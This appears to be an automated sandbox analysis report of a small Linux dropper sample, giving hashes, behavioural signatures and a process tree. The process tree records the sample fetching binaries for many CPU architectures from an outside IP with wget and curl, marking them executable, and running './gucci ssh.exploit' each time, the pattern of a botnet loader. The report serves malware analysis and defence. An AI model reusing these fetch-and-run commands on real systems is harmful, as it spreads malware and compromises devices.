Analysis
-
max time kernel
20s -
max time network
21s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28-07-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
-
Size
1KB
-
MD5
18d2223535e45636ae395a0ff6f871b2
-
SHA1
1332ef19c7f95476565618fd4657f70b8127fe49
-
SHA256
99bd7484ae2c892b3c45d7a60ab1a13495a7ef6a94c2a59240f32ee2faf938ac
-
SHA512
2e00d77e6a3094ae2ae63968dd303cd3b9cedc34ab8bb1c5fefe1e411efc4569502ed8f15fa7ff40f60a207db5d6203a4110be97894fc905619134ea35b55a48
Malware Config
Signatures
-
Executes dropped EXE 11 IoCs
Processes:
gucciguccigucciguccigucciguccigucciguccigucciguccigucciioc pid process /tmp/gucci 668 gucci /tmp/gucci 674 gucci /tmp/gucci 683 gucci /tmp/gucci 689 gucci /tmp/gucci 695 gucci /tmp/gucci 701 gucci /tmp/gucci 707 gucci /tmp/gucci 713 gucci /tmp/gucci 719 gucci /tmp/gucci 725 gucci /tmp/gucci 731 gucci -
Checks CPU configuration 1 TTPs 11 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads runtime system information 22 IoCs
Reads data from /proc virtual filesystem.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118description ioc process File opened for modification /tmp/gucci 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Processes
-
/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes1181⤵
- Writes file to tmp directory
PID:657 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm2⤵PID:658
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm2⤵
- Checks CPU configuration
- Reads runtime system information
PID:665 -
/bin/catcat arm2⤵PID:666
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:667
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:668 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm52⤵PID:670
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm52⤵
- Checks CPU configuration
- Reads runtime system information
PID:671 -
/bin/catcat arm52⤵PID:672
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:673
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:674 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm62⤵PID:676
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm62⤵
- Checks CPU configuration
- Reads runtime system information
PID:677 -
/bin/catcat arm62⤵PID:681
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:682
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:683 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm72⤵PID:685
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm72⤵
- Checks CPU configuration
- Reads runtime system information
PID:686 -
/bin/catcat arm72⤵PID:687
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:688
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:689 -
/usr/bin/wgetwget http://192.3.122.100/bins/m68k2⤵PID:691
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/m68k2⤵
- Checks CPU configuration
- Reads runtime system information
PID:692 -
/bin/catcat m68k2⤵PID:693
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:694
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:695 -
/usr/bin/wgetwget http://192.3.122.100/bins/mips2⤵PID:697
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mips2⤵
- Checks CPU configuration
- Reads runtime system information
PID:698 -
/bin/catcat mips2⤵PID:699
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:700
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:701 -
/usr/bin/wgetwget http://192.3.122.100/bins/mpsl2⤵PID:703
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
PID:704 -
/bin/catcat mpsl2⤵PID:705
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:706
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:707 -
/usr/bin/wgetwget http://192.3.122.100/bins/ppc2⤵PID:709
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/ppc2⤵
- Checks CPU configuration
- Reads runtime system information
PID:710 -
/bin/catcat ppc2⤵PID:711
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:712
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:713 -
/usr/bin/wgetwget http://192.3.122.100/bins/sh42⤵PID:715
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/sh42⤵
- Checks CPU configuration
- Reads runtime system information
PID:716 -
/bin/catcat sh42⤵PID:717
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:718
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:719 -
/usr/bin/wgetwget http://192.3.122.100/bins/spc2⤵PID:721
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/spc2⤵
- Checks CPU configuration
- Reads runtime system information
PID:722 -
/bin/catcat spc2⤵PID:723
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:724
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:725 -
/usr/bin/wgetwget http://192.3.122.100/bins/x862⤵PID:727
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/x862⤵
- Checks CPU configuration
- Reads runtime system information
PID:728 -
/bin/catcat x862⤵PID:729
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 gucci systemd-private-7be067a6c62a4da9b1091f4ce1640774-systemd-timedated.service-KTHSBr2⤵PID:730
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:731